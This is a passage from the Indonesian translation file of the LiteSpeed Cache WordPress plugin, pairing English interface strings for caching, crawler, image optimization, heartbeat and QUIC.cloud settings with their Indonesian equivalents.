cocok dengan MD5 gambar AVIF yang diberitahukan.','Read LiteSpeed Documentation'=>'Baca Dokumentasi LiteSpeed','There is proceeding queue not pulled yet. Queue info: %s.'=>'Ada antrean lanjutan yang belum ditarik. Info antrean: %s.','Specify how long, in seconds, Gravatar files are cached.'=>'Tentukan berapa lama, dalam detik, berkas Gravatar dicache.','Cleared %1$s invalid images.'=>'Menghapus %1$s gambar yang tidak valid.','LiteSpeed Cache General Settings'=>'Pengaturan Umum LiteSpeed Cache','This will delete all cached Gravatar files'=>'Ini akan menghapus seluruh berkas Gravatar yang dicache','Prevent any debug log of listed pages.'=>'Cegah log debug dari halaman yang terdaftar.','Only log listed pages.'=>'Hanya catat halaman terdaftar.','Specify the maximum size of the log file.'=>'Tentukan ukuran maksimum berkas log.','To prevent filling up the disk, this setting should be OFF when everything is working.'=>'Untuk mencegah penuhnya diska, pengaturan ini harus NONAKTIF ketika seluruhnya berfungsi.','Press the %s button to stop beta testing and go back to the current release from the WordPress Plugin Directory.'=>'Tekan tombol %s untuk menghentikan pengujian beta dan kembali ke rilis saat ini dari Direktori Plugin WordPress.','Use latest WordPress release version'=>'Gunakan versi rilis WordPress terbaru','OR'=>'ATAU','Use this section to switch plugin versions. To beta test a GitHub commit, enter the commit URL in the field below.'=>'Gunakan bagian ini untuk mengganti versi plugin. Untuk menguji beta komit GitHub, masukkan URL komit di bidang di bawah ini.','Reset Settings'=>'Reset Pengaturan','LiteSpeed Cache Toolbox'=>'Peralatan LiteSpeed Cache','Beta Test'=>'Pengujian Beta','Log View'=>'Lihat Log','Debug Settings'=>'Pengaturan Debug','Turn ON to control heartbeat in backend editor.'=>'AKTIFKAN untuk mengontrol detak di editor sisi belakang.','Turn ON to control heartbeat on backend.'=>'AKTIFKAN untuk mengontrol detak di sisi belakang.','Set to %1$s to forbid heartbeat on %2$s.'=>'Setel ke %1$s untuk melarang detak di %2$s.','WordPress valid interval is %s seconds.'=>'Interval valid WordPress adalah %s detik.','Specify the %s heartbeat interval in seconds.'=>'Tentukan interval detak %s dalam detik.','Turn ON to control heartbeat on frontend.'=>'AKTIFKAN untuk mengontrol detak di sisi depan.','Disable WordPress interval heartbeat to reduce server load.'=>'Nonaktifkan detak interval WordPress untuk mengurangi beban peladen.','Heartbeat Control'=>'Kontrol Detakan','provide more information here to assist the LiteSpeed team with debugging.'=>'berikan informasi lebih lanjut di sini untuk membantu tim LiteSpeed ​​melakukan debugging.','Optional'=>'Opsional','Generate Link for Current User'=>'Buat Tautan untuk Pengguna Saat Ini','Passwordless Link'=>'Tautan Tanpa Kata Sandi','System Information'=>'Informasi Sistem','Go to plugins list'=>'Buka daftar plugin','Install DoLogin Security'=>'Instal DoLogin Security','Check my public IP from'=>'Periksa IP publik saya dari','Your server IP'=>'IP Peladen Anda','Enter this site\'s IP address to allow cloud services directly call IP instead of domain name. This eliminates the overhead of DNS and CDN lookups.'=>'Masukkan alamat IP situs ini untuk memungkinkan layanan awan langsung memanggil IP alih-alih nama domain. Ini menghilangkan overhead pencarian DNS dan CDN.','This will enable crawler cron.'=>'Ini akan mengaktifkan perayap kron.','Crawler General Settings'=>'Pengaturan Umum Perayap','Remove from Blocklist'=>'Hapus dari Daftar Blokir','Empty blocklist'=>'Bersihkan daftar blokir','Are you sure to delete all existing blocklist items?'=>'Anda yakin ingin menghapus seluruh item dalam daftar blokir yang ada?','Blocklisted due to not cacheable'=>'Diblokir karena tidak dapat dicache','Add to Blocklist'=>'Tambahkan ke Daftar Blokir','Operation'=>'Operasi','Sitemap Total'=>'Total Peta Situs','Sitemap List'=>'Daftar Peta Situs','Refresh Crawler Map'=>'Segarkan Peta Perayap','Clean Crawler Map'=>'Bersihkan Perayap Peta Situs','Blocklist'=>'Daftar Blokir','Map'=>'Peta','Summary'=>'Ikhtisar','Cache Miss'=>'Luput Cache','Cache Hit'=>'Kunjungan Cache','Waiting to be Crawled'=>'Menunggu Dirayapi','Blocklisted'=>'Daftar Blokir','Miss'=>'Luput','Hit'=>'Kunjungan','Waiting'=>'Menunggu','Running'=>'Menjalankan','Use %1$s in %2$s to indicate this cookie has not been set.'=>'Gunakan %1$s dalam %2$s untuk menunjukkan kuki ini belum disetel.','Add new cookie to simulate'=>'Tambah kuki baru untuk simulasi','Remove cookie simulation'=>'Hapus simulasi Kuki','Htaccess rule is: %s'=>'Aturan Htaccess adalah: %s','More settings available under %s menu'=>'Pengaturan lainnya tersedia di menu %s','The amount of time, in seconds, that files will be stored in browser cache before expiring.'=>'Jumlah waktu, dalam detik, berkas tersebut akan disimpan di cache peramban sebelum kedaluwarsa.','OpenLiteSpeed users please check this'=>'Pengguna OpenLiteSpeed silakan periksa ini','Browser Cache Settings'=>'Pengaturan Cache Peramban','Paths containing these strings will be forced to public cached regardless of no-cacheable settings.'=>'Jalur yang berisi string ini akan dipaksa untuk dicache publik terlepas dari pengaturan yang tidak dapat dicache.','With QUIC.cloud CDN enabled, you may still be seeing cache headers from your local server.'=>'Dengan mengaktifkan CDN QUIC.cloud, Anda mungkin masih melihat header cache dari peladen lokal Anda.','An optional second parameter may be used to specify cache control. Use a space to separate'=>'Parameter opsional kedua dapat digunakan untuk menentukan kontrol cache. Gunakan spasi untuk memisahkan','The above nonces will be converted to ESI automatically.'=>'Nonces di atas akan dikonversi ke ESI secara otomatis.','Browser'=>'Peramban','Object'=>'Objek','Default port for %1$s is %2$s.'=>'Port asali untuk %1$s adalah %2$s.','Object Cache Settings'=>'Pengaturan Cache Objek','Specify an HTTP status code and the number of seconds to cache that page, separated by a space.'=>'Tentukan kode status HTTP dan jumlah detik untuk menyimpan halaman itu dalam cache, dipisahkan oleh spasi.','Specify how long, in seconds, the front page is cached.'=>'Tentukan berapa lama, dalam detik, halaman depan dicache.','TTL'=>'TTL','If ON, the stale copy of a cached page will be shown to visitors until a new cache copy is available. Reduces the server load for following visits. If OFF, the page will be dynamically generated while visitors wait.'=>'Jika AKTIF, salinan lama dari halaman yang dicache akan ditampilkan kepada pengunjung sampai salinan cache yang baru tersedia. Mengurangi beban peladen untuk kunjungan berikutnya. Jika NONAKTIF, halaman akan dibuat secara dinamis saat pengunjung menunggu.','Swap'=>'Swap','Set this to append %1$s to all %2$s rules before caching CSS to specify how fonts should be displayed while being downloaded.'=>'Setel ini untuk menambahkan %1$s ke seluruh aturan %2$s sebelum meng-cache CSS guna menentukan bagaimana fon harus ditampilkan saat sedang diunduh.','Avatar list in queue waiting for update'=>'Daftar avatar dalam antrean menunggu pembaruan','Refresh Gravatar cache by cron.'=>'Segarkan cache Gravatar dengan kron.','Accelerates the speed by caching Gravatar (Globally Recognized Avatars).'=>'Meningkatkan kecepatan dengan men-cache Gravatar (Avatar yang Diakui Secara Global).','Store Gravatar locally.'=>'Simpan Gravatar secara lokal.','Failed to create Avatar table. Please follow <a %s>Table Creation guidance from LiteSpeed Wiki</a> to finish setup.'=>'Gagal membuat tabel Avatar. Ikuti <a %s>panduan Pembuatan Tabel dari Wiki LiteSpeed</a> untuk menyelesaikan penyiapan.','LQIP requests will not be sent for images where both width and height are smaller than these dimensions.'=>'Permintaan LQIP tidak akan dikirim untuk gambar yang lebar dan tingginya lebih kecil dari dimensi ini.','pixels'=>'piksel','Larger number will generate higher resolution quality placeholder, but will result in larger files which will increase page size and consume more points.'=>'Jumlah yang lebih besar akan menghasilkan kualitas resolusi penampung yang lebih tinggi, tetapi akan menghasilkan berkas yang lebih besar yang akan meningkatkan ukuran halaman dan mengkonsumsi lebih banyak poin.','Specify the quality when generating LQIP.'=>'Tentukan kualitas saat membuat LQIP.','Keep this off to use plain color placeholders.'=>'Biarkan nonaktif untuk menggunakan penampung warna polos.','Use QUIC.cloud LQIP (Low Quality Image Placeholder) generator service for responsive image previews while loading.'=>'Gunakan layanan generator LQIP (Low Quality Image Placeholder) QUIC.cloud untuk pratinjau gambar yang responsif saat memuat.','Specify the responsive placeholder SVG color.'=>'Tentukan warna SVG penampung responsif.','Variables %s will be replaced with the configured background color.'=>'Variabel %s akan diganti dengan warna latar belakang yang dikonfigurasi.','Variables %s will be replaced with the corresponding image properties.'=>'Variabel %s akan diganti dengan properti gambar yang sesuai.','It will be converted to a base64 SVG placeholder on-the-fly.'=>'Ini akan dikonversi ke penampung SVG base64 dengan cepat.','Specify an SVG to be used as a placeholder when generating locally.'=>'Tentukan SVG yang akan digunakan sebagai pengganti saat membuat secara lokal.','Prevent any lazy load of listed pages.'=>'Cegah tunda muat halaman yang terdaftar.','Iframes having these parent class names will not be lazy loaded.'=>'Iframe yang memiliki nama kelas induk ini tidak akan dimuat dengan lambat.','Iframes containing these class names will not be lazy loaded.'=>'Iframe yang berisi nama kelas ini tidak akan dimuat dengan lambat.','Images having these parent class names will not be lazy loaded.'=>'Gambar yang memiliki nama kelas induk ini tidak akan ditunda muat.','LiteSpeed Cache Page Optimization'=>'Optimasi Halaman LiteSpeed Cache','Media Excludes'=>'Pengecualian Media','CSS Settings'=>'Pengaturan CSS','%s is recommended.'=>'%s disarankan.','Deferred'=>'Ditangguhkan','Default'=>'Standar','This can improve the page loading speed.'=>'Ini dapat meningkatkan kecepatan pemuatan halaman.','Automatically enable DNS prefetching for all URLs in the document, including images, CSS, JavaScript, and so forth.'=>'Secara otomatis mengaktifkan prapengambilan DNS untuk seluruh URL dalam dokumen, termasuk gambar, CSS, JavaScript, dan sebagainya.','New developer version %s is available now.'=>'Versi pengembang baru %s tersedia sekarang.','New Developer Version Available!'=>'Versi Pengembang Baru Tersedia!','Dismiss this notice'=>'Tutup pemberitahuan ini','Tweet this'=>'Twitkan ini','Tweet preview'=>'Tinjauan twit','Learn more'=>'Pelajari selengkapnya','You just unlocked a promotion from QUIC.cloud!'=>'Anda baru saja membuka promosi dari QUIC.cloud!','The image compression quality setting of WordPress out of 100.'=>'Pengaturan kualitas kompresi gambar WordPress dari 100.','Image Optimization Settings'=>'Pengaturan Optimasi Gambar','Are you sure to destroy all optimized images?'=>'Anda yakin ingin menghapus seluruh gambar yang dioptimalkan?','Use Optimized Files'=>'Gunakan Berkas yang Dioptimasi','Switch back to using optimized images on your site'=>'Beralih kembali menggunakan gambar yang dioptimalkan','Use Original Files'=>'Gunakan Berkas Asli','Use original images (unoptimized) on your site'=>'Gunakan gambar asli (tidak dioptimalkan) di situs Anda','You can quickly switch between using original (unoptimized versions) and optimized image files. It will affect all images on your website, both regular and webp versions if available.'=>'Anda dapat dengan cepat beralih antara menggunakan berkas gambar asli (versi yang tidak dioptimalkan) dan yang dioptimalkan. Ini akan memengaruhi seluruh gambar di situs web Anda, baik versi reguler maupun webp jika tersedia.','Optimization Tools'=>'Peralatan Optimasi','Rescan New Thumbnails'=>'Pindai Ulang Thumbnail Baru','Congratulations, all gathered!'=>'Selamat, semua sudah terkumpul!','What is an image group?'=>'Apakah grup gambar itu?','Delete all backups of the original images'=>'Hapus seluruh cadangan gambar asli','Calculate Backups Disk Space'=>'Hitung Ruang Diska Cadangan','Optimization Status'=>'Status Optimasi','Current limit is'=>'Batas saat ini adalah','To make sure our server can communicate with your server without any issues and everything works fine, for the few first requests the number of image groups allowed in a single request is limited.'=>'Untuk memastikan peladen kami dapat berkomunikasi dengan peladen Anda tanpa masalah dan seluruhnya berfungsi dengan baik, untuk beberapa permintaan pertama, jumlah grup gambar yang diizinkan dalam satu permintaan dibatasi.','You can request a maximum of %s images at once.'=>'Anda dapat meminta maksimum %s gambar sekaligus.','Optimize images with our QUIC.cloud server'=>'Optimasi gambar dengan peladen QUIC.cloud kami','Revisions newer than this many days will be kept when cleaning revisions.'=>'Revisi yang lebih baru dari beberapa hari ini akan disimpan saat membersihkan revisi.','Day(s)'=>'Hari','Specify the number of most recent revisions to keep when cleaning revisions.'=>'Tentukan jumlah revisi terbaru yang harus disimpan saat membersihkan revisi.','LiteSpeed Cache Database Optimization'=>'Optimasi Basis Data LiteSpeed Cache','DB Optimization Settings'=>'Pengaturan Optimasi DB','Option Name'=>'Nama Opsi','Database Summary'=>'Ikhtisar Basis Data','We are good. No table uses MyISAM engine.'=>'Bagus. Tidak ada tabel yang menggunakan mesin MyISAM.','Convert to InnoDB'=>'Ubah ke InnoDB','Tool'=>'Alat','Engine'=>'Mesin','Table'=>'Tabel','Database Table Engine Converter'=>'Konverter Mesin Tabel Basis Data','Clean revisions older than %1$s day(s), excluding %2$s latest revisions'=>'Bersihkan revisi yang lebih lama dari %1$s hari, tidak termasuk %2$s revisi terbaru','Currently active crawler'=>'Perayap aktif saat ini','Crawler(s)'=>'Perayap','Crawler Status'=>'Status Perayap','Force cron'=>'Paksakan kron','Requests in queue'=>'Antrean permintaan','Time to execute previous request: %s'=>'Waktu untuk mengeksekusi permintaan sebelumnya: %s','Private Cache'=>'Cache Pribadi','Public Cache'=>'Cache Publik','Cache Status'=>'Status Cache','Last Pull'=>'Penarikan Terakhir','Image Optimization Summary'=>'Ikhtisar Pengoptimalan Gambar','Refresh page score'=>'Segarkan skor halaman','Are you sure you want to redetect the closest cloud server for this service?'=>'Apakah Anda yakin ingin mendeteksi ulang peladen awan terdekat untuk layanan ini?','Current closest Cloud server is %s. Click to redetect.'=>'Peladen Awan terdekat saat ini adalah %s. Klik untuk mendeteksi ulang.','Refresh page load time'=>'Segarkan waktu muat halaman','Go to QUIC.cloud dashboard'=>'Buka dasbor QUIC.cloud','Low Quality Image Placeholder'=>'Penampung Gambar Kualitas Rendah','Sync data from Cloud'=>'Sinkronkan data dari Awan','QUIC.cloud Service Usage Statistics'=>'Statistik Penggunaan Layanan QUIC.cloud','Total images optimized in this month'=>'Total gambar yang dioptimalkan di bulan ini','Total Usage'=>'Penggunaan Total','Pay as You Go Usage Statistics'=>'Statistik Bayar Sesuai Pemakaian Anda','PAYG Balance'=>'Saldo PAYG','Pay as You Go'=>'Bayar Sesuai Pemakaian Anda','Usage'=>'Penggunaan','Fast Queue Usage'=>'Penggunaan Antrean Cepat','CDN Bandwidth'=>'Bandwidth CDN','LiteSpeed Cache Dashboard'=>'Dasbor LiteSpeed Cache','Network Dashboard'=>'Dasbor Jaringan','No cloud services currently in use'=>'Tidak ada layanan awan yang sedang digunakan','Click to clear all nodes for further redetection.'=>'Klik untuk menghapus seluruh node untuk deteksi ulang lebih lanjut.','Current Cloud Nodes in Service'=>'Node Awan dalam Layanan Saat Ini','Link to QUIC.cloud'=>'Tautan ke QUIC.cloud','General Settings'=>'Pengaturan Umum','Specify which HTML element attributes will be replaced with CDN Mapping.'=>'Tentukan atribut elemen HTML mana yang akan diganti dengan Pemetaan CDN.','Add new CDN URL'=>'Tambah URL CDN baru','Remove CDN URL'=>'Hapus URL CDN','To enable the following functionality, turn ON Cloudflare API in CDN Settings.'=>'Untuk mengaktifkan fungsi berikut, AKTIFKAN API Cloudflare di Pengaturan CDN.','QUIC.cloud'=>'CDN','WooCommerce Settings'=>'Pengaturan WooCommerce','LQIP Cache'=>'Cache LQIP','Options saved.'=>'Opsi disimpan.','Removed backups successfully.'=>'Berhasil menghapus cadangan.','Calculated backups successfully.'=>'Pencadangan terhitung berhasil.','Rescanned %d images successfully.'=>'Berhasil memindai ulang %d gambar.','Rescanned successfully.'=>'Berhasil memindai ulang.','Destroy all optimization data successfully.'=>'Berhasil menghapus seluruh data optimasi.','Cleaned up unfinished data successfully.'=>'Berhasil memusnahkan data yang belum selesai.','Pull Cron is running'=>'Penarikan Kron sedang berjalan','No valid image found by Cloud server in the current request.'=>'Tidak ada gambar valid yang ditemukan oleh peladen Awan dalam permintaan saat ini.','No valid image found in the current request.'=>'Tidak ada gambar valid yang ditemukan dalam permintaan saat ini.','Pushed %1$s to Cloud server, accepted %2$s.'=>'Mendorong %1$s ke peladen Awan, diterima %2$s.','Revisions Max Age'=>'Usia Maksimal Revisi','Revisions Max Number'=>'Jumlah Maksimal Revisi','Debug URI Excludes'=>'Pengecualian Debug URI','Debug URI Includes'=>'Debug URI Termasuk','HTML Attribute To Replace'=>'Atribut HTML Untuk Mengganti','Use CDN Mapping'=>'Gunakan Pemetaan CDN','QUIC.cloud CDN:'=>'CDN QUIC.cloud:','Editor Heartbeat TTL'=>'TTL Detakan Editor','Editor Heartbeat'=>'Detakan Editor','Backend Heartbeat TTL'=>'TTL Detakan Sisi Belakang','Backend Heartbeat Control'=>'TTL Detakan Sisi Belakang','Frontend Heartbeat TTL'=>'TTL Detakan Sisi Depan','Frontend Heartbeat Control'=>'Kontrol Detakan Sisi Depan','Backend .htaccess Path'=>'Jalur Sisi Belakang .htaccess','Frontend .htaccess Path'=>'Jalur .htaccess Sisi Depan','ESI Nonces'=>'Nonces ESI','WordPress Image Quality Control'=>'Kontrol Kualitas Gambar WordPress','Auto Request Cron'=>'Permintaan Kron Otomatis','Generate LQIP In Background'=>'Buat LQIP di Latar','LQIP Minimum Dimensions'=>'Dimensi Minimal LQIP','LQIP Quality'=>'Kualitas LQIP','LQIP Cloud Generator'=>'Generator Awan LQIP','Responsive Placeholder SVG'=>'Penampung Responsif SVG','Responsive Placeholder Color'=>'Warna Penampung Responsif','Basic Image Placeholder'=>'Dasar Penampung Gambar','Lazy Load URI Excludes'=>'Pengecualian Tunda Muat URI','Lazy Load Iframe Parent Class Name Excludes'=>'Pengecualian Nama Kelas Induk Iframe Tunda Muat','Lazy Load Iframe Class Name Excludes'=>'Pengecualian Nama Kelas Iframe Tunda Muat','Lazy Load Image Parent Class Name Excludes'=>'Pengecualian Nama Kelas Induk Gambar Tunda Muat','Gravatar Cache TTL'=>'TTL Cache Gravatar','Gravatar Cache Cron'=>'Kron Cache Gravatar','Gravatar Cache'=>'Cache Gravatar','DNS Prefetch Control'=>'Kontrol Prapengambilan DNS','Font Display Optimization'=>'Optimasi Tampilan Fon','Force Public Cache URIs'=>'Paksa URI Cache Publik','Notifications'=>'Pemberitahuan','Default HTTP Status Code Page TTL'=>'TTL Halaman Kode Status HTTP Asali','Default REST TTL'=>'TTL REST Asali','Enable Cache'=>'Aktifkan Cache','Server IP'=>'IP Peladen','Images not requested'=>'Gambar tidak diminta','Sync credit allowance with Cloud Server successfully.'=>'Sinkronisasi kredit dengan Peladen Awan berhasil.','Failed to communicate with QUIC.cloud server'=>'Gagal berkomunikasi dengan peladen QUIC.cloud','Good news from QUIC.cloud server'=>'Kabar gembira dari peladen QUIC.cloud','Message from QUIC.cloud server'=>'Pesan dari peladen QUIC.cloud','Please try after %1$s for service %2$s.'=>'Silakan coba setelah %1$s untuk layanan %2$s.','No available Cloud Node.'=>'Tidak ada Node Awan yang tersedia.','Cloud Error'=>'Galat Awan','The database has been upgrading in the background since %s. This message will disappear once upgrade is complete.'=>'Basis data telah ditingkatkan di latar belakang sejak %s. Pesan ini akan hilang setelah peningkatan selesai.','Restore from backup'=>'Pulihkan dari cadangan','No backup of unoptimized WebP file exists.'=>'Tidak ada cadangan berkas WebP yang tidak dioptimalkan.','WebP file reduced by %1$s (%2$s)'=>'Berkas WebP dikurangi %1$s (%2$s)','Currently using original (unoptimized) version of WebP file.'=>'Saat ini menggunakan berkas WebP versi asli (tidak dioptimalkan).','Currently using optimized version of WebP file.'=>'Saat ini menggunakan berkas WebP versi dioptimalkan.','Orig'=>'Ori','(no savings)'=>'(tanpa simpanan)','Orig %s'=>'%s Ori','Congratulation! Your file was already optimized'=>'Selamat! Berkas Anda sudah dioptimalkan','No backup of original file exists.'=>'Tidak ada cadangan berkas asli.','Using optimized version of file. '=>'Menggunakan versi berkas yang dioptimalkan. ','Orig saved %s'=>'Asli tersimpan %s','Original file reduced by %1$s (%2$s)'=>'Berkas asli dikurangi %1$s (%2$s)','Click to switch to optimized version.'=>'Klik untuk beralih ke versi dioptimalkan.','Currently using original (unoptimized) version of file.'=>'Saat ini menggunakan versi berkas asli (tidak dioptimalkan).','(non-optm)'=>'(non-optm)','Click to switch to original (unoptimized) version.'=>'Klik untuk beralih ke versi asli (tidak dioptimalkan).','Currently using optimized version of file.'=>'Saat ini menggunakan versi berkas yang dioptimalkan.','(optm)'=>'(optm)','LQIP image preview for size %s'=>'Pratinjau gambar LQIP untuk ukuran %s','LQIP'=>'LQIP','Previously existed in blocklist'=>'Sebelumnya ada di daftar blokir','Manually added to blocklist'=>'Ditambahkan secara manual ke daftar blokir','Mobile Agent Rules'=>'Aturan Agen Seluler','Sitemap created successfully: %d items'=>'Peta Situs berhasil dibuat: %d item','Sitemap cleaned successfully'=>'Peta Situs berhasil dibersihkan','Invalid IP'=>'IP Invalid','Value range'=>'Rentang nilai','Smaller than'=>'Kurang dari','Larger than'=>'Lebih dari','Zero, or'=>'Nol, atau','Maximum value'=>'Nilai maksimal','Minimum value'=>'Nilai minimal','Path must end with %s'=>'Jalur harus diakhiri dengan %s','Invalid rewrite rule'=>'Aturan Penulisan Ulang Tidak Valid','Currently set to %s'=>'Saat ini diatur ke %s','This value is overwritten by the PHP constant %s.'=>'Nilai ini ditimpa oleh konstanta PHP %s.','Toolbox'=>'Peralatan','Database'=>'Basis Data','Page Optimization'=>'Optimasi Halaman','Dashboard'=>'Dasbor','Converted to InnoDB successfully.'=>'Berhasil dikonversi ke InnoDB.','Cleaned all Gravatar files.'=>'Membersihkan seluruh berkas Gravatar.','Cleaned all LQIP files.'=>'Membersihkan seluruh berkas LQIP.','Unknown error'=>'Galat tidak diketahui','Your domain has been forbidden from using our services due to a previous policy violation.'=>'Domain Anda telah dilarang menggunakan layanan kami karena pelanggaran kebijakan sebelumnya.','The callback validation to your domain failed. Please make sure there is no firewall blocking our servers. Response code: '=>'Validasi panggilan balik ke domain Anda gagal. Pastikan tidak ada firewall yang memblokir peladen kami. Kode respon: ','The callback validation to your domain failed. Please make sure there is no firewall blocking our servers.'=>'Validasi panggilan balik ke domain Anda gagal. Pastikan tidak ada firewall yang memblokir peladen kami.','The callback validation to your domain failed due to hash mismatch.'=>'Validasi panggilan balik ke domain Anda gagal karena ketidakcocokan hash.','Your application is waiting for approval.'=>'Permohonan Anda sedang menunggu persetujuan.','Previous request too recent. Please try again after %s.'=>'Permintaan sebelumnya terlalu baru. Silakan coba lagi setelah %s.','Previous request too recent. Please try again later.'=>'Permintaan sebelumnya terlalu baru. Silakan coba lagi nanti.','Crawler disabled by the server admin.'=>'Perayap dinonaktifkan oleh admin peladen.','Failed to create table %1$s! SQL: %2$s.'=>'Gagal membuat tabel %1$s! SQL: %2$s.','Could not find %1$s in %2$s.'=>'Tidak dapat menemukan%1$s dalam %2$s.','Credits are not enough to proceed the current request.'=>'Kredit tidak cukup untuk melanjutkan permintaan saat ini.','There is proceeding queue not pulled yet.'=>'Ada antrean lanjutan yang belum ditarik.','The image list is empty.'=>'Daftar gambar kosong.','LiteSpeed Crawler Cron'=>'Kron Perayap LiteSpeed','Every Minute'=>'Tiap Menit','Turn this option ON to show latest news automatically, including hotfixes, new releases, available beta versions, and promotions.'=>'Aktifkan opsi ini untuk menampilkan berita terbaru secara otomatis, termasuk perbaikan, rilis baru, ketersediaan versi beta, dan promosi.','To grant wp-admin access to the LiteSpeed Support Team, please generate a passwordless link for the current logged-in user to be sent with the report.'=>'Untuk memberikan akses wp-admin ke Tim Dukungan LiteSpeed, harap buat tautan tanpa kata sandi untuk pengguna yang masuk saat ini untuk dikirim bersama laporan.','Generated links may be managed under %sSettings%s.'=>'Tautan yang dibuat dapat dikelola melalui %sPengaturan%s.','Please do NOT share the above passwordless link with anyone.'=>'Harap TIDAK membagikan tautan tanpa sandi di atas kepada siapapun.','To generate a passwordless link for LiteSpeed Support Team access, you must install %s.'=>'Untuk membuat tautan tanpa kata sandi untuk akses Tim Dukungan LiteSpeed, Anda harus memasang %s.','Install'=>'Instal','These options are only available with LiteSpeed Enterprise Web Server or QUIC.cloud CDN.'=>'Opsi ini hanya tersedia dengan Peladen Situs LiteSpeed Enterprise atau CDN QUIC.cloud.','PageSpeed Score'=>'Skor Kecepatan Halaman','Improved by'=>'Diperbaiki oleh','After'=>'Setelah','Before'=>'Sebelum','Page Load Time'=>'Waktu Muat Halaman','To use the caching functions you must have a LiteSpeed web server or be using QUIC.cloud CDN.'=>'Untuk menggunakan fungsi cache, Anda harus memiliki peladen web LiteSpeed atau menggunakan CDN QUIC.cloud.','Preserve EXIF/XMP data'=>'Simpan data EXIF/XMP','Try GitHub Version'=>'Coba Versi GitHub','If you turn any of the above settings OFF, please remove the related file types from the %s box.'=>'Jika Anda me-NONAKTIF-kan salah satu pengaturan di atas, harap hapus jenis berkas terkait dari kotak %s.','Both full and partial strings can be used.'=>'Baik string lengkap maupun sebagian dapat digunakan.','Images containing these class names will not be lazy loaded.'=>'Gambar yang memuat nama kelas berikut tidak akan ditunda muat.','Lazy Load Image Class Name Excludes'=>'Pengecualian Nama Kelas Gambar Tunda Muat','For example, %1$s defines a TTL of %2$s seconds for %3$s.'=>'Sebagai contoh, %1$s diartikan bawah TTL %3$s adalah %2$s detik.','To define a custom TTL for a URI, add a space followed by the TTL value to the end of the URI.'=>'Untuk menentukan TTL khusus untuk URI, tambahkan spasi diikuti oleh nilai TTL di akhir URI.','Maybe Later'=>'Mungkin Nanti','Turn On Auto Upgrade'=>'Aktifkan Peningkatan Otomatis','Upgrade'=>'Tingkatkan','New release %s is available now.'=>'Rilis %s baru tersedia sekarang.','New Version Available!'=>'Tersedia Versi Baru!','Created with ❤️ by LiteSpeed team.'=>'Dibuat dengan ❤️ oleh Tim LiteSpeed.','Sure I\'d love to review!'=>'Tentu, saya akan membuat ulasan!','Thank You for Using the LiteSpeed Cache Plugin!'=>'Terima Kasih Telah Menggunakan Plugin LiteSpeed Cache!','Upgraded successfully.'=>'Peningkatan berhasil.','Failed to upgrade.'=>'Gagal meningkatkan.','Changed setting successfully.'=>'Pengaturan berhasil diubah.','ESI sample for developers'=>'Contoh ESI untuk pengembang','Replace %1$s with %2$s.'=>'Ganti %1$s dengan %2$s.','You can turn shortcodes into ESI blocks.'=>'Anda dapat mengubah kode pendek menjadi blok ESI.','WpW: Private Cache vs. Public Cache'=>'WpW: Cache Pribadi vs. Cache Publik','Append query string %s to the resources to bypass this action.'=>'Tambahkan string kueri %s ke sumber daya untuk melewati tindakan ini.','Google reCAPTCHA will be bypassed automatically.'=>'Google reCAPTCHA akan dilewati secara otomatis.','To crawl for a particular cookie, enter the cookie name, and the values you wish to crawl for. Values should be one per line. There will be one crawler created per cookie value, per simulated role.'=>'Untuk merayapi kuki tertentu, masukkan nama kuki, dan nilai yang ingin Anda jelajahi. Nilai harus satu per baris. Akan ada satu perayap yang dibuat per nilai kuki, per peran yang disimulasikan.','Cookie Values'=>'Nilai Kuki','Cookie Name'=>'Nama Kuki','Cookie Simulation'=>'Simulasi Kuki','Use Web Font Loader library to load Google Fonts asynchronously while leaving other CSS intact.'=>'Gunakan pustaka Web Font Loader untuk memuat Fon Google secara asinkron sambil membiarkan CSS lainnya tetap utuh.','Turn this option ON to have LiteSpeed Cache updated automatically, whenever a new version is released. If OFF, update manually as usual.'=>'Aktifkan opsi ini untuk membuat LiteSpeed Cache diperbarui secara otomatis setiap kali versi baru dirilis. Jika NONAKTIF, perbarui secara manual seperti biasa.','Automatically Upgrade'=>'Pembaruan Otomatis','Your IP'=>'IP Anda','Reset successfully.'=>'Berhasil menyetel ulang.','This will reset all settings to default settings.'=>'Ini akan menyetel ulang seluruh pengaturan ke pengaturan asali.','Reset All Settings'=>'Atur Ulang Seluruh Pengaturan','Separate critical CSS files will be generated for paths containing these strings.'=>'Berkas CSS penting yang terpisah akan dihasilkan untuk jalur yang berisi string ini.','Separate CCSS Cache URIs'=>'Pisahkan Cache CCSS URI','For example, if every Page on the site has different formatting, enter %s in the box. Separate critical CSS files will be stored for every Page on the site.'=>'Misalnya, jika setiap Halaman di situs memiliki format yang berbeda, masukkan %s di dalam kotak. Berkas CSS penting yang terpisah akan disimpan untuk setiap Halaman di situs.','List post types where each item of that type should have its own CCSS generated.'=>'Daftar jenis tulisan di mana setiap item dari jenis itu harus memiliki CCSS sendiri.','Separate CCSS Cache Post Types'=>'Pisahkan Cache CCSS Jenis Tulisan','Size list in queue waiting for cron'=>'Daftar antrean ukuran menunggu kron','If set to %1$s, before the placeholder is localized, the %2$s configuration will be used.'=>'Jika %1$s, sebelum penampung ditempatkan, konfigurasi %2$s akan digunakan.','Automatically generate LQIP in the background via a cron-based queue.'=>'Secara otomatis menghasilkan LQIP di latar belakang melalui antrean berbasis kron.','This will generate the placeholder with same dimensions as the image if it has the width and height attributes.'=>'Ini akan menghasilkan penampung dengan dimensi yang sama dengan gambar jika memiliki atribut lebar dan tinggi.','Responsive image placeholders can help to reduce layout reshuffle when images are loaded.'=>'Penampung gambar yang responsif dapat membantu mengurangi perombakan tata letak saat gambar dimuat.','Responsive Placeholder'=>'Penampung Responsif','This will delete all generated image LQIP placeholder files'=>'Ini akan menghapus seluruh berkas penampung LQIP gambar yang dihasilkan','Please enable LiteSpeed Cache in the plugin settings.'=>'Harap aktifkan LiteSpeed Cache pada pengaturan plugin.','Please enable the LSCache Module at the server level, or ask your hosting provider.'=>'Harap aktifkan Modul LSCache di tingkat peladen, atau tanyakan penyedia hosting Anda.','Failed to request via WordPress'=>'Gagal meminta melalui WordPress','High-performance page caching and site optimization from LiteSpeed'=>'Cache halaman berkinerja tinggi dan optimasi situs dari LiteSpeed','Reset the optimized data successfully.'=>'Berhasil menyetel ulang data yang dioptimalkan.','Update %s now'=>'Perbarui %s sekarang','View %1$s version %2$s details'=>'Lihat detail %1$s versi %2$s','<a href="%1$s" %2$s>View version %3$s details</a> or <a href="%4$s" %5$s target="_blank">update now</a>.'=>'<a href="%1$s" %2$s>Lihat detail versi %3$s</a> atau <a href="%4$s" %5$s target="_blank">perbarui sekarang</a>.','Install %s'=>'Instal %s','LSCache caching functions on this page are currently unavailable!'=>'Fungsi cache LSCache di halaman ini saat ini tidak 